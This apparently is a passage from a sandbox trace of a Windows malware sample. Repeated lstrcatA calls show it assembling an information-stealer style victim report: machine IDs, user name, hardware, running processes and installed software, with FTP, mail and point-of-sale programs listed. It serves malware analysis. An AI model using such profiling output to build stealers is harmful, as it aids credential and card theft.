d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 ["
[0054.976] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [", lpString2="9.0.30729.6161" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161"
[0054.976] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI 